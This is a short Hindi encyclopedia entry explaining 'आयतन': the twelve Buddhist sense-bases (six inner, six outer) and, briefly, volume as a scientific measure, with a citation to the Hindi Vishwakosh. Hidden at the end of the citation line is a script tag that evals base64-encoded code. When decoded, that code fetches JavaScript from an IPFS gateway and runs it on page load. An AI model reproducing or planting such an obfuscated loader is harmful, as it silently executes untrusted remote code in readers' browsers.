आयतन

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आयतन 12 होते हैं - छह भीतर के और छह बाहर के। चक्षु, श्रोत्र, घ्रााण, जिह्वा, काय और मन - ये छह भीतर के आयतन हैं। इन्हें आध्यात्मिक आयतन भी कहते हैं। रूप, शब्द, गंध, रस, स्पर्श और धर्म-ये छह बाहर के आयतन हैं। इन्हें बाह्यतन भी कहते हैं। प्राणी की सारी तृष्णाओं के घर ये ही 12 हैं। इसी से उन्हें आयतन कहते हैं। आधुनिक विज्ञान में किसी पिंड का आयतन वह स्थान है जो पिंड छेंकता है और इसे घन एककों में नापा जाता है, जैसे घन इंचों या घन सेंटीमीटरों में।[1]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 397 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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